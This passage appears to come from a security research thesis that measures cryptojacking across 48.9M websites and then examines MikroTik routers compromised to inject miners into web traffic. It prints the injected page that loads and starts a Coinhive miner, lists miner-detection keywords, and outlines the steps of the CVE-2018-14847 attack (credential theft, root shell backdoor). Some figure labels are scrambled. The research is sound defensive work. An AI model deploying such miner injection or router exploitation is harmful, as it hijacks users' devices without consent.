the Ministry of Education of Belarus (https://edu.gov.by/). The malicious code is
hidden as the core loader of Bitrix24 and uses both Nerohut and Cryptoloot to mine
with. It has a built-in anti-detection method since it stops mining once a developer tools
window is opened. In our initial crawl, we identified only 68 domains belonging to this
campaign, which turned out to be 855 in our in-depth search, making this campaign
the second-largest campaign we have identified so far. Another campaign, involving
key vPfPDHk89TxmH1arysiJDrutpYGntofP, is displaying fake loading screens on 86
websites, whereas only 47 of these have been identified in our initial crawl.

All other campaigns remained similar or slightly smaller in size. Except for the
two aforementioned campaigns, we conclude that our initial crawl likely identified
the correct size of campaigns, given the database of PublicWWW. Their database
contains source code snapshots of over 544M websites, which should provide a proper
approximation.

2.6.3. EVOLUTION OF CRYPTOJACKING
To study the evolution of cryptojacking on the Internet, data is needed from different
moments in time. Fortunately, Konoth et al. [127] shared their crawling results, and
Hong et al. [101] shared their list of identified cryptojacking domains, which made it
possible for us to crawl these exact same sets of URLs and to analyze whether these do-
mains were still mining. Additionally, we have followed the domains identified in our
crawls over a period of 3 months, and analyzed WebSocket proxy traffic over time using
operator NetFlows.

COMPARISON WITH PREVIOUS CRAWLS

Konoth et al. [127] crawled from March 12 until 19, 2018, and identified 1,735 potential
cryptojacking domains. We crawled their list on January 21, 2019, and obtained 1,725 of
them. 85% of the websites are not cryptomining anymore, and only 10% are still using
the same application. On 136 websites (7%), the same key was found in both crawls. As
Figure 2.5 shows, many websites using a Coinhive miner removed the miner application.
Some continued using Coinhive, but also a small shift into less popular mining applica-
tions can be observed. Websites already using these miners tend to stick to their choice
and are still using the same miner almost a year later. We have also seen a number of

https://edu.gov.by/
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Figure 2.5: Usage evolution between March 2018 and January 2019 in the list of identified domains by [127].

mining applications become extinct, such as Deepminer and NF Webminer. Hong et
al. [101] also published the list of identified cryptojacking domains from their crawl in
February 2018. A year later, on February 12, 2019, we have crawled this list of 2,770 do-
mains. We obtained 2,435 (88%) of them and only 340 (14%) domains are still actively
cryptojacking. Both crawls show that many websites stopped cryptojacking themselves
or removed the miner infection. After one year, approximately 85% of the domains are
not actively cryptojacking anymore. We have also observed a small portion of domains
switching to less popular applications. The low number of 7% of websites still mining
with the same siteKey indicates the fast changes in the cryptojacking threat landscape.

EVOLUTION OF IDENTIFIED DOMAINS

We have followed all previously identified cryptojacking domains for a period of 3
months (until May 5, 2019) and crawled them initially occasionally but afterward
every other day. Within this time period, Coinhive announced the end of its mining
application due to decreased Monero prices and hash rate [45]. The announcement
was made on February 26, 2019, and stated that mining would not be operating any-
more after March 8, 2019 and that the service would be discontinued by the end of
April 2019. This led to a drastic change in the cryptojacking landscape, as Coinhive’s
dominance in actively mining installations collapsed when their mining service was
set non-operationally. Mining applications were, however, not massively replaced,
which confirms our finding that a large portion of browser-based cryptomining is not
initiated by the website owner. Only when the Coinhive mining service was actually
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Figure 2.6: Evolution of the cryptojacking domains per type.

discontinued, and errors were shown when requesting the offline Coinhive mining
resources did we observe a small increase in Cryptoloot and CoinImp installations.

WEBSOCKET PROXY TRAFFIC OVER TIME

As discussed in § 2.2, most miner applications use a WebSocket proxy server to forward
traffic from their miners to the mining pool. Using the aforementioned NetFlow data, we
analyzed traffic towards popular WebSocket proxies from September 2017 till December
2018, which gives an insight into the evolution of cryptomining applications usage, as
shown in Figure 2.7. We have taken the set of WebSocket proxy IPs the miners connect
to as a basis, which we extended by using passive DNS data to discover other WebSocket
proxy server IPs used by these applications but hosted on different servers, not encoun-
tered during our crawls. The same passive DNS data was used to verify whether these IP
addresses were solely used as WebSocket proxy servers. To prevent other traffic to these
servers from being in our dataset, we have both set the maximum packet size to 550 kB
and verified that only WebSocket traffic was counted towards these servers. For most
proxies, this is traffic towards port 80 or 443, and for a few servers using specific ports,
this could be different. An example is the WebSocket proxy server of the WP-monero-
miner which uses port 8020.

The blue line starting in September 2017 shows how the web-mining ecosystem
was monopolized by innovator Coinhive at the start, whereas copycats like Cryptoloot
and Webmine started to emerge in October. We see that CoinImp essentially started
to eclipse all other miner applications from mid-April 2018 onward regarding mining
traffic to the proxies. This is unexpected, given the distribution of installations on
websites and previous studies. Some mining proxies only have transient success: a
remarkable example is the WP-monero-miner, released shortly after Coinhive in 2017.
The application hosted its own mining pool and digested a lot of traffic in January 2018,
only to almost disappear again weeks later. Coinhive, the application used by most
websites, is a constant factor in the miner landscape with over 4,000 NetFlows a day in
mid-2018 (given our 1:8192 sampling, thus 32M connections per day), but not as large
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Dec 2018.

as one would expect from its installation base. Additionally, a clear declining trend can
be observed in the NetFlow counts for all mining services after the summer of 2018. The
last months of NetFlow data show a diverse set of mining applications actively used.

2.7. AN INTERNET-SCALE STUDY ON CRYPTOJACKING
In order to estimate the prevalence of browser-based cryptojacking on the Internet and
to indicate any differences between Top Level Domains (TLDs), we have performed
another crawl, in which we have crawled ~20% of the websites belonging to each of
the 1,136 existing TLDs. We obtained a daily zone transfer for all generic top-level
domains (gTLDs) – such as .top, .loan – from the Internet Corporation for Assigned
Names and Numbers (ICANN), as well as a feed of registered country code top-level
domains (ccTLDs) – such as .uk, .jp, or .ru – from a security intelligence provider. From
these lists, we randomly picked a sample of ~20% of the size of each TLD [56]. Based on
the results of the previous crawl, we have added another 5 mining applications to the
crawler implementation, as listed in Table 2.9. From January 11 until April 3, 2019, we
crawled the random sample, including 48.9M domains. This yielded a total of 125 TB of
network traffic.

2.7.1. GENERAL FINDINGS

After crawling a random sample of 48.9M websites in a large number of different top-
level domains, we are able to draw conclusions about the prevalence of browser-based
cryptojacking on the Internet. We estimate that 0.011% of all domains are actively cryp-
tomining without their visitors’ explicit consent, meaning that one in every 9,090 web-
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Table 2.9: The added miner applications and their keywords in the latest version of the crawler.

Miner Keywords

SMMCH simple-monero-miner-coin-hive
smmch-public | smmch-mine.js

Webminepool webminepool.com/lib/base.js
Unknown miner proofly.date | flightsy.date | gettate.trade | nflying.win

alflying.date | flightzy.date | joytate.date | flightzy.bid
zymerget.faith | flightsy.win | zymerget.bid | nflying.bid
baseballnow.press | flightsy.bid

Omine omine.org
Browsermine browsermine.com.cc | bmcm.pw | bmnr.pw

lm-sdfhfad.ml | new BMCM | asdvhsrtsb.ml

sites is cryptojacking. Comparing this number to the statistics of the top lists used in our
initial crawl, we conclude that cryptojacking activity is mainly focused on the popular
parts of the Internet. In the Alexa Top 1M, 0.065% of the websites was actively cryp-
tojacking, in this random sample only 0.011% of the websites, which is almost 6 times
lower. This can be explained by the lucrativeness of cryptojacking, in which a higher
popularity means more visitors, yielding more potential miners and thus higher poten-
tial profits. Additionally, it shows that researching the prevalence of cryptojacking by
crawling the Alexa Top 1M overestimates the problem size. However, the distribution of
used applications in our random sample is fairly similar to the distribution in the Alexa
Top 1M. The distribution of mining applications in this crawl is listed in Table 2.10.
The categories of domains identified in this crawl are very similar to the initial crawl. As
depicted in Figure 2.8, Adult content remains the most prevailing category, while other
large categories are Technology and Under Construction, the category involving parked,
expired or yet-to-be developed domains. Based on these two very different crawls we
can conclude that cryptojacking is indeed more prevailing on domains hosting adult
content.

2.7.2. CRYPTOJACKING ON DIFFERENT TLDS

We have crawled domains of roughly ~20% of 1,136 different TLDs in order to analyze
the prevalence of cryptojacking. As Table 2.11 shows, cryptojacking activity varies enor-
mously within different TLD zones. The four largest TLDs, .com, .de, .net and .org have
a similar percentage of cryptojacking websites, but we have discovered almost 6 times
as much cryptojacking activity in the Russian TLD. Also, domains in the Brazilian and
Spanish zones are more susceptible to cryptojacking, having respectively 4 and 3 times
more cryptojacking activity than average. On the contrary, the .top, .us and .loan zones
host only a few cryptojacking websites. Our website category analysis showed that adult
content is the most prevailing category for cryptojacking activities. This triggered our
attention for the .xxx domain, which is specially created for adult content, which we,
therefore, crawled completely instead of ~20%. Surprisingly, the .xxx domain contains
only one website actively cryptomining. When comparing used mining applications on
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Table 2.10: Distribution of cryptomining applications installations in the Internet scale crawl (sum of percent-
ages is >100%, because of websites using multiple applications).

Type # of websites Percentage

Coinhive 2,531 48.767%
Unknown 689 13.276%
CoinImp 513 9.884%
Cryptoloot 504 9.711%
Mineralt 276 5.318%
Nerohut 247 4.760%
Webminerpool 233 4.489%
Unknown-advanced-miner 92 1.773%
SMMCH 80 1.541%
Browsermine 73 1.407%
Webminepool 62 1.195%
WP-Monero-Miner 60 1.156%
Omine 56 1.079%
Monero-mining 55 1.060%
Cryptonoter 50 0.963%
Cryptominer 26 0.501%
Minero 24 0.462%
Nebula 23 0.443%
Webmine 19 0.366%
Coincube 19 0.366%
Project-poi 4 0.077%
Adless 1 0.019%
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Table 2.11: Results of the TLD crawl. Listed are the top 10 largest domains, followed by remarkable TLDs.

TLD Size Crawled Cryptojacking

.com 149,937,597 27,555,546 (18.4%) 2,353 (0.009%)

.net 15,008,406 2,741,550 (18.3%) 238 (0.009%)

.de 15,089,860 2,244,139 (14.9%) 254 (0.011%)

.org 11,330,764 2,021,630 (17.8%) 145 (0.007%)

.info 6,524,248 1,309,323 (20.6%) 77 (0.005%)

.ru 5,480,467 998,422 (20.0%) 593 (0.059%)

.nl 5,360,173 880,122 (16.4%) 191 (0.022%)

.top 4,024,497 788,748 (19.6%) 19 (0.002%)

.br 3,813,745 383,910 (10.1%) 185 (0.048%)

.fr 3,449,775 567,887 (16.5%) 133 (0.023%)

.pl 2,621,515 523,497 (20.0%) 81 (0.015%)

.us 2,409,802 472,323 (19.6%) 2 (0.000%)

.loan 2,228,165 445,749 (20.0%) 0 (0.000%)

.es 2,010,710 327,810 (16.3%) 110 (0.036%)

.online 1,105,999 219,447 (19.8%) 67 (0.031%)

.pro 295,201 58,999 (14.2%) 32 (0.054%)

.space 268,846 53,363 (20.0%) 19 (0.036%)

.website 276,063 54,704 (19.8%) 21 (0.038%)

.xxx 93,101 91,877 (98.7%) 1 (0.001%)

Total 48,948,669 5,190 (0.011)%
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Figure 2.8: Categories of mining domains in the second crawl.

the different TLDs, large differences can be distinguished, as shown in Figure 2.9. Coin-
hive is the most popular miner in most zones, whereas Cryptoloot is preferred in the
Russian zone, and French and Czech websites contain more Nerohut miners. The Rus-
sian zone is also the only TLD where browsermine is used regularly. The high number of
generic miner applications in the Dutch and Belgian zones is remarkable. A large num-
ber of these domains in the .nl and .be zone are part of a campaign using expired domain
names of a Dutch registrar (Totaaldomein B.V.) to host porn and unknown cryptominers.

Our results show a different popularity of used mining applications compared to pre-
vious work of [207]. They detected Coinhive on 85% to 90% of the .com, .net and .org
TLDs, whereas we determine that this market share is significantly lower (~50%). This
result proves that a simple solution like the NoCoin block list is unable to detect all min-
ers, and analyses with such techniques result in different outcomes.

2.8. DISCUSSION
Crawling the Internet inevitably comes with its shortcomings. Limitations in the crawler
implementation, network used and analysis can produce both false positives and neg-
atives. The latter category can occur, for example, when extreme obfuscation is used,
as we have seen in § 2.6. However, we believe that due to our double crawling strat-
egy, based on both WebAssembly and code signatures, this could not have happened
very often. Finally, the use of worldwide NetFlow traffic from a Tier 1 network operator
allowed us to analyze the popularity of cryptojacking services in a revolutionary way, al-
though BGP policies and a specific PoP and IXP footprint could lead to a bias of certain



2.8. DISCUSSION

2

47

co
m

de
ne

t
or

g
in

fo
ru

nl
be

br
fr

cz
es

it
pl

clu
b

pr
o

To
p 

Le
ve

l D
om

ai
n

02040608010
0

Percentage

br
ow

se
rm

in
e

co
in

cu
be

co
in

hi
ve

co
in

im
p

cr
yp

to
lo

ot
cr

yp
to

m
in

er
cr

yp
to

no
te

r
ge

ne
ric

m
in

er
al

t
m

in
er

o

m
on

er
o-

m
in

in
g

ne
bu

la
ne

ro
hu

t
om

in
e

sm
m

ch
un

kn
ow

n-
ad

va
nc

ed
-m

in
er

we
bm

in
e

we
bm

in
ep

oo
l

we
bm

in
er

po
ol

wp
_m

on
er

o_
m

in
er

Fi
gu

re
2.

9:
T

h
e

d
is

tr
ib

u
ti

o
n

o
fu

se
d

m
in

in
g

ap
p

lic
at

io
n

s
in

va
ri

o
u

s
T

LD
s.



2

48 ESTIMATING CRYPTOJACKING PREVALENCE ON THE WEB

autonomous systems just as some discrepancies might arise due to 1:8192 random sam-
pling. Additionally, NetFlow records do not provide information regarding the content
of a connection; therefore, the actual contents cannot be determined. However, during
our crawls, we could confirm the mining applications to contact the WebSocket proxy
servers in question, and passive DNS lookups did not show any other domains pointed
to that IP. Furthermore, the NetFlows both revealed no traffic to other ports than those
seen from our crawlers and packet sizes resembling those observed in our crawls. Thus,
the methodology should provide valid results.

FUTURE WORK

The additional angle provided by the NetFlow data allowed us to study the evolution
of cryptojacking over a longer period of time, something that has not been done be-
fore. Regular crawls of the Internet, especially of the already identified cryptojacking do-
mains, give more insight into this practice, and it will increase the innovation of defense
mechanisms. The most influential defense against cryptojacking will nonetheless be
frequent patching, as most cryptominers are installed exploiting known vulnerabilities.
CMS providers, such as Drupal or WordPress, have shown agility in patching vulnerabil-
ities, but the responsibility of installing these patches remains with the website owner.
Finally, as we have seen a decline in the price of Monero (-85% in 2018), we believe that
cryptojacking infections on individual websites will decrease but that cyber criminals
will search for other possibilities to exploit cryptojacking at an even larger scale. As we
have mentioned in § 2.3, the most effective method of collecting large groups of min-
ers is by launching a MITM attack. Investigating the prevalence of this attack vector for
cryptomining is something we preserve for future work.

2.9. CONCLUSIONS
In this chapter, we have studied the prevalence of cryptojacking as well as of cryptojack-
ing campaigns on the Internet. We have performed multiple large crawls, each with a dif-
ferent focus. In our first crawl, we analyzed the 1.7M most popular domains to identify
organized campaigns. We found 204 campaigns, from which we conclude that the size of
cryptojacking campaigns is heavily underestimated by current academic research. Addi-
tionally, using solely the Alexa Top 1M shows significantly different results regarding the
size of organized activity and infection rate, which we found to be almost 6 times lower
in a random sample compared to the Alexa Top 1M, hence overestimating the problem.
Third-party software is often used by attackers to spread cryptojacking scripts over a
large number of domains. The share of domains serving advertisements injected with
cryptojacking scripts is lower compared to previous work, most likely because of stricter
monitoring by advertisement networks. We have seen that obfuscation of cryptojack-
ing scripts is definitely present but only occasionally used. Comparing our results with
data from previous studies (in both February and March 2018) shows that after a year,
only 15% of the websites are still actively mining. This, and our novel way of estimat-
ing miner application popularity by analyzing NetFlows, led to the conclusion that the
cryptojacking landscape is constantly changing and involves a variety of actors.

A second, Internet-scale crawl involving ~20% of 1,136 TLDs (48.9M websites), which
represents a truly random sample of the Internet, allows us to conclude that cryptojack-
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ing is present on 0.011% of all domains. Not unexpectedly, this percentage increases
in the more popular parts of the Internet because cryptojacking on popular domains
is much more lucrative. Both of our crawls have shown that cryptojacking mostly takes
place on websites hosting adult content, although the .xxx TLD is home to only one cryp-
tojacking website. Based on the applications used within the time span of our analysis,
we can conclude that Coinhive was the largest mining application in terms of installa-
tion base but that CoinImp’s WebSocket proxy servers were digesting much more traffic
in 2018. Looking at the different TLDs, we conclude that Russian, Brazilian, and Spanish
zones are home to a disproportionate number of cryptojacking domains.

With the discontinuation of Coinhive in March 2019, the landscape of cryptojacking
has changed enormously, but based on our results, we are only expecting a further de-
cline in individual cryptojacking activities, given that the Monero value keeps diminish-
ing. However, this only stresses the importance of organized cryptojacking campaigns,
as cyber criminals will find new ways to spread their cryptojacking infections to remain
profitable. Here, campaign analysis will be an important asset. As adversaries are un-
likely to develop a unique approach for each infected website, reusing resources and
methods will provide an effective angle to detect and mitigate these activities.





3
EXAMINING CRYPTOJACKING ON

COMPROMISED INFRASTRUCTURE

The release of an efficient browser-based cryptominer, as introduced by Coinhive in 2017,
has quickly spread throughout the Web either as a new source of revenue for websites or ex-
ploited within the context of hacks and malicious advertisements. Several studies have an-
alyzed the Alexa Top 1M and found 380 — 3,200 (0.038% – 0.32%) [29, 101, 127, 199, 205]
to be actively mining, yielding an estimated $41,000 per month revenue for the top 10 per-
petrators [127]. While placing a cryptominer on a popular website supplies considerable
returns from its visitors’ Web browsers, it only generates revenue when a client visits the
page. Even though popular websites attract millions of visitors, the relatively low num-
ber of exploiting websites limits the total revenue that can be made. In this chapter, we
report on a new attack vector that drastically overshadows all existing cryptojacking ac-
tivity discovered to date. A firmware vulnerability in MikroTik routers allowed cybercrim-
inals to rewrite outgoing user traffic and embed cryptomining code in every outgoing Web
connection. Thus, every Web page visited by any user behind an infected router would
mine to profit the criminals. Based on NetFlows recorded in a Tier 1 network, semiweekly
crawls, and telescope traffic, we follow their activities over 10 months and report on the
modus operandi and coordinating infrastructure of the perpetrators, which were during
this period in control of up to 1.4M routers, approximately 70% of all MikroTik devices
deployed worldwide. We observed different levels of sophistication among adversaries,
ranging from individual installations to campaigns involving large numbers of routers.
Our results show that cryptojacking through MITM attacks is highly lucrative, a factor of
30 more than previous attack vectors.

This chapter has been published as: Bijmans, H.L.J., Booij, T.M. & Doerr, C. (2019). “Just the Tip of the Iceberg:
Internet-Scale Exploitation of Routers for Cryptojacking”. In Proceedings of the 2019 ACM SIGSAC Conference
on Computer and Communications Security (CCS 2019).
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3.1. INTRODUCTION
Cryptocurrencies, which started with the release of Bitcoin in 2009 [173], represent mon-
etary value secured by a blockchain. Transactions are permanently stored in an ever-
growing list of records, where transaction data can be added by solving a cryptographic
challenge. This puzzle depends on the last block, the current transactions, and their
recipients. Once solved, a new record gets inserted into the chain, consolidating pre-
viously conducted activities’ records. Users are incentivized to participate and donate
computational resources to the system, as the one solving the puzzle gets a (fraction of
a) cryptocurrency unit as a reward.

As the Bitcoin blockchain was designed to increase the difficulty of these challenges
continuously, Bitcoin mining is no longer profitable on regular PCs, requiring specialized
hardware such as ASICs. As a result, thousands of other cryptocurrencies, so-called alt-
coins, have emerged that replace the proof-of-work algorithm of Bitcoin with alternative
mechanisms to validate transactions. The Monero cryptocurrency [236], which uses a
private blockchain with transactions not publicly visible, relies on the CryptoNight al-
gorithm, a memory-intensive computation of subsequent reads and writes that can be
efficiently run using the processor-level cache found in typical consumer-grade CPUs.

The reward that can be gained from these alt-coins has, however, also attracted the
attention of cyber criminals, who have distributed cryptomining code through malware
or as part of botnet installations [190]. With the recent introduction of a JavaScript miner
by Coinhive in 2017, cryptomining code can now be shipped as part of a Web page and
efficiently executed by a Web browser, thereby providing an easy, scalable, and low-effort
method to roll out cryptomining to a large user population. This has led to new business
and revenue models, for example, replacing advertisements by letting website visitors
donate computational resources [237].

The relative ease with which website visitors can be recruited for cryptomining has
also led to a major surge in illicit cryptomining, so-called cryptojacking or drive-by
mining, in which the visitor’s resources are hijacked without knowledge and consent.
Aside from cryptojacking that is initiated by the website owner without their visitors’
consent, criminals also seek to increase their revenue by compromising websites to
install mining code [34, 157], as well as hiding miners in third-party software used
by Webmasters and thus inadvertently being deployed [40, 255]. Cryptojacking is
also spread through exploitable vulnerabilities in content management systems [171],
through the distribution of advertisements including malicious code [169], or through
malware [190]. Previous work by Konoth et al. [127] estimates that cryptojacking pos-
sibly yields monthly revenues of $41,000 for the 10 most successful perpetrators across
the websites listed in the Alexa Top 1M.

In this chapter, we will analyze a previously unseen attack vector for cryptojacking,
namely, man-in-the-middle attacks launched through compromised consumer and
edge routers that inject mining code into every Web page requested by their users.
This was made possible by a firmware vulnerability in MikroTik routers discovered in
early 2018 [178], which allowed adversaries to change the device configuration and
create an outgoing HTTP proxy, and that remained widely unpatched until a year
later. By following reconnaissance scans of the perpetrators through a large network
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telescope, the detection of compromised routers through semiweekly crawls, and the
tracing of connection patterns of adversaries, their supporting infrastructure, and the
compromised routers based on NetFlows from a Tier 1 operator, we are able to provide a
comprehensive insight into how this vulnerability scaled out into massive cryptojacking
campaigns that drastically overshadow previous mining activities. In this work, we make
the following four contributions:

• We are first to investigate a new type of attack that exploits Internet infrastructure
for cryptomining and show how, over a period of 10 months after the initial discov-
ery of the vulnerability, cybercriminals launch massive campaigns to control 1.4M
routers, with a peak of 460,618 simultaneously infected routers.

• We analyze adversarial tactics and unveil the supporting infrastructure used
within the campaigns, and are able to show differences between groups in how
they locate their victims, compromise routers, and run their infrastructure.

• We demonstrate that previously reported vectors are negligibly small in number
of affected users and created revenue compared to the reported MITM attack. We
find that this attack yielded monthly revenues estimated to exceed $1,200,000 per
month for the top 10 grossing accounts, a factor of 30 larger than previously es-
timated cryptojacking revenues from hacked websites, malicious advertisements,
and website-owner-initiated mining combined.

• We observe high levels of sophistication in three identified campaigns, of which
the largest involved 40 mining accounts linked to one single actor.

The remainder of the chapter will be structured as follows: § 3.2 provides an overview of
related work. § 3.3 introduces the concept of cryptojacking and previously used modus
operandi and describes the vulnerability and its exploitation used for MITM-based cryp-
tojacking on routers. § 3.4 describes the datasets used in this study. § 3.5 presents the
techniques, tactics, and procedures in use during the identification, exploitation, mon-
etization, and maintenance of the compromised systems. § 3.6 puts the techniques and
sophistication levels of the ecosystem into perspective and quantifies adversarial rev-
enues. Finally, § 3.7 summarizes and concludes our work.

3.2. RELATED WORK
The growing interest in cryptojacking by cyber criminals was followed by an interest of
the academic world to research this new phenomenon. Only shortly after the release
of the Coinhive miner in September 2017, Eskandari et al. made the first explorations
into the field by searching source code databases Censys.io and PublicWWW for strings
known to be part of cryptomining libraries [63]. Due to the possibilities of JavaScript ob-
fuscation and other hiding techniques, other research that followed soon focused on the
detection of these mining applications. Rauchberger et al. built Mininghunter, a crawler
instructed to analyze both source code and WebSocket traffic of the visited pages [199].
A crawl of the Alexa Top 1M resulted in the identification of 3,178 cryptojacking websites
and the discovery of a number of campaigns. Other Web crawling studies performed by
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Parra Rodriguez & Posegga [205] and Carlin et al. [29] used machine learning techniques
to determine active mining on a Web page while crawling, and both reached high pre-
cision scores. The CMTracker made by Hong et al. [101] also crawls the Web but detects
cryptojacking behavior based upon periodic executions in WebAssembly modules. This
robust detection method was able to identify 868 actively mining websites in the Alexa
Top 100K. Wang et al. performed a similar study by learning a support vector machine
(SVM) on the characteristics of WebAssembly modules and concluded that analyzing
WebAssembly modules is a very efficient and robust detection method [250].

The latest Web crawling studies involve the work of Rüth et al., who crawled the three
largest top-level domains (.com, .net and .org) as well as the Alexa Top 1M to estimate
the prevalence of browser-based cryptomining (0.08% of the probed websites were ac-
tively mining) [207], Konoth et al., responsible for creating another crawler which identi-
fied 1,735 actively mining websites and performed campaign analysis to gain knowledge
about the ecosystem [127], and Kharraz et al. performing a similar study but identified
the actively cryptomining websites using machine learning techniques [124]. They also
dedicated a section to campaign analysis, in which the authors identified 35 campaigns
involving a total of 386 websites. The largest study to date across 55M websites discov-
ered that the prevalence of cryptojacking significantly varied by top-level domain zone
and the popularity of websites, and that about half of all cryptojacking activity is orga-
nized and part of a campaign [16].

Initial evidence begins to suggest that the exploitation of websites for browser-based
mining through their visitors might not generate the main source of revenue. Pa-
padopoulos et al. concluded that advertisements are still over five times more profitable
than browser-based cryptomining [189]. A longitudinal study performed by Pastrana et
al. revealed that in the cryptojacking ecosystem, only a small number of cybercriminals
are making large profits, and those making profits had mined 4.3% of all Monero in
circulation. [190].

Previous studies have primarily focused on either the detection or the estimation of
the compromised website attack vector. While cryptojacking as part of a man-in-the-
middle (MITM) attack – for example, through a malicious WiFi network – is mentioned
as being feasible by Eskandari et al. [63], this particular attack vector has never been
researched before by the academic community. As an MITM attack will affect all traffic
that crosses a particular device, the potential number of victims and, with it, potential
revenue is, however, much higher. This chapter will thus address this gap, and show how
and to what extent cryptojacking is deployed in the wild through the attack on Internet
infrastructure.

3.3. BACKGROUND
The introduction of memory-bound cryptocurrencies like Monero allowed for new
methods of cryptomining, one of them being browser-based cryptomining. These
cryptocurrencies, together with new Web technologies such as WebAssembly (native
speed code execution within the browser sandbox), WebWorkers (separate JavaScript
instances), HTML5 WebSockets (simple multiplex TCP connection), and the Stratum
Mining Protocol (JSON-RPC formatted mining pool communications) paved the way
for the creation of an efficient browser-based cryptominer by Coinhive in 2017. Their
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miner, and most other mining applications, work as follows: the user visits a cryp-
tojacking website, which includes (a reference to) a cryptojacking script. This script
explores the host system, downloads a highly optimized WebAssembly module for
mining, and spawns a number of WebWorkers to run this module. Consequently, it sets
up a connection with a mining pool through a proxy server operated by the service,
authenticating using a siteKey or (Monero) wallet address, which is essentially the
account of the adversary. For readability, we will refer only to the first six characters of a
siteKey in this chapter. The mining pool distributes a job to work on. The WebWorkers
start mining and find hashes that are submitted to the mining pool. When the browser
window is closed, all mining activity stops.

3.3.1. PAST MODUS OPERANDI OF CRYPTOJACKING
As stated by a New Jersey Attorney General in 2015 [100], mining cryptocurrencies with
the computing power of others is not considered illegal when a clear notification of such
activities is shown, and the possibility of opting out exists. However, most cryptojack-
ing cases lack these and are therefore considered illegal. There have been cryptojacking
scripts found on malware-infected PCs [190], but since the release of the Coinhive miner,
cryptojacking in the form of browser-based mining gained enormous popularity. There
is a large number of websites running a cryptominer to increase their revenues, such as
The Pirate Bay [237], but cryptojacking has also occurred on websites where the owner
did not initiate it. Website compromises, such as government pages of the Indian gov-
ernment [34] in 2018, have led to cryptojacking infections, but cybercriminals are con-
stantly searching for more efficient methods to deploy their miners. To spread infection
over a large number of websites, attackers abused third-party software (such as infecting
WordPress plugins [255] or exploiting Drupal CMS vulnerabilities [216]) with cryptojack-
ing scripts as well as injected advertisements with mining code and served them through
ad networks to websites unaware of any infection [169].

3.3.2. PERVASIVE CRYPTOJACKING THROUGH MAN-IN-THE-MIDDLE AT-
TACKS

As mentioned in the previous section, cryptomining code is included as part of the
served HTML page, which requires the website owner to explicitly install a cryptominer
or inadvertently embed it due to a compromised component. It is, however, also possi-
ble to modify the request in transit by modifying the HTML as a man-in-the-middle.

In the attack reported in this chapter, adversaries compromised the routers’ oper-
ating system and reconfigured the system, causing requests from clients to any website
to be rewritten and channeled to an internal HTTP proxy server running on the device.
With the initial compromise of the router, the perpetrator installs a script to change the
firewall rules of the device, opening telnet and SSH to the Internet if not already exposed,
and introduces a firewall rule to redirect outgoing requests on port 80 to a proxy port. Fi-
nally, it deploys an HTML page sent by the proxy to each outgoing connection. While
different groups of actors followed slightly different techniques, tactics, and procedures,
as we will show in § 3.5, it meant, as shown in Figure 3.1 from the perspective of the user,
any outgoing connection to port 80 was redirected to the proxy on port 80 or 8080 (1).
This served a Web page based on a common template, shown in Listing 3.1 for a con-
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Figure 3.1: Through an MITM attack on routers, adversaries performed cryptojacking on websites visited by
users.
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<html >
<head >

<meta http - equiv ="Content -Type" content ="text/html; charset =windows
-1251 ">

<title >"http :// www. facebook .com/"</ title >
<script src=" https :// coinhive .com/lib/ coinhive .min.js"></ script >
<script >

var miner = new CoinHive . Anonymous (’<mining key > ’,{ throttle : 0.1}) ;
miner . start ( CoinHive . FORCE_EXCLUSIVE_TAB );

</ script >
</ head >
<frameset >

<frame src="http :// www. facebook .com/"></ frame >
</ frameset >

</ html >

Listing 3.1: HTML returned by the proxy of an infected router, with a Coinhive miner and the actual page in an
iframe.

nection to facebook.com. This led the client’s Web browser to fetch two Web resources:
the outer frame containing a JavaScript that loaded cryptomining code (2), and within
the frame, the actual website the user intended to visit was displayed (2). The client’s
Web browser would set up a WebSocket connection to a WebSocket proxy or to mining
pool in order to retrieve instructions (3), and spin up WebWorkers to mine for a specific
siteKey (4).

From the perspective of the perpetrator, this design has a number of advantages.
First, as the iframe opens the original page, the user will, at first sight, not notice any-
thing wrong as the requested Web page loads within the borderless iframe. Second, as
the interaction with the loaded website functions normally, the victim will remain on
the Web page for an extended period of time, thus increasing the time the miner will
run in the background. Third, as clicks on the embedded page do not reload the outer
frame, the cryptominer keeps running during navigation on the visited Web page, thus
maximizing mining cycles.

SUSCEPTIBILITY OF HTTP(S) CONNECTIONS

While the browser address would show a connection to the router instead of the re-
quested URL, the hijack, from a usability perspective, is both comparatively frictionless
and effective. The original URL is displayed as the title of the page, and experimentation
on recent versions of both mobile and desktop browsers showed that websites can even
be loaded via HTTPS within the iframe without triggering a warning by the browser. In
this case, the HTTP proxy loads an unencrypted HTTP page with an iframe showing the
secured HTTPS contents. Thus, unless the rewritten URL raises suspicion with the user,
we can expect the activity to go by relatively unnoticed.

3.3.3. VULNERABILITY CVE-2018-14847
The exploited vulnerability in this attack is CVE-2018-14847 and affected MikroTik
RouterOS through version 6.42, allowing “unauthenticated remote attackers to read
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arbitrary files and remote authenticated attackers to write arbitrary files due to a direc-
tory traversal vulnerability in the WinBox interface.” [178]. Of special significance to
the attack is that MikroTik uses RouterOS across their entire product line, making the
vulnerability applicable to a large number of both consumer and carrier-grade routers.
As we will see later, the vulnerability of carrier-grade devices explains the magnitude of
cryptomining activity that could be realized in this attack.

WinBox is a small Win32 binary that allows for the administration of RouterOS us-
ing a graphical user interface. The functionalities of the WinBox interface are almost
identical to the console functions, but some advanced and critical system configura-
tion changes – like changing the MAC address – cannot be made from the WinBox GUI.
Several WinBox commands did not require authentication, e.g., an attacker could open
files for reading while being unauthenticated, while another allows an attacker to write
files to disk given some authentication [235]. By sending a carefully crafted package to
the WinBox service on port 8291 exploiting one of these commands, the attacker would
retrieve the user credential store user.dat, and using these credentials, drop files to
disk to enable a developer backdoor [235]. Triggered if a specific file, /pckg/option or
flash/nova/etc/devel-login, is present on the system, the developer mode sets up
a root BusyBox shell accessible over port 22 (SSH) or 23 (Telnet) giving complete control
over the device.

3.4. DATASETS

The study was made possible through a combination of three datasets, each covering a
different angle of the reported malicious activity. First, we used traces from a large net-
work telescope to trace adversarial scanning activity. Second, we relied on a periodic
crawl for the proxy status page by Censys [61] and used Shodan [218] to discover which
routers were infected. Third, we use NetFlow data to visualize the communication pat-
terns between the infected routers and the remaining Internet to identify their staging
hosts and quantify the volume and revenue of this large-scale exploitation.

Figure 3.2 shows a timeline of the main phases of the cryptojacking exploitation of
MikroTik routers, together with the timeline and purpose of the used datasets. While the
vulnerability was discovered in April 2018, the MikroTik routers were only exploited for
MITM cryptojacking from the middle of July onwards until January 2019, when the bulk
of the ecosystem was cleaned up. We use telescope traffic and operator NetFlows already
months prior to the abuse from January 2018 onwards, to observe prior knowledge of
the vulnerability and any preparation activities by the adversaries as discussed in [19,
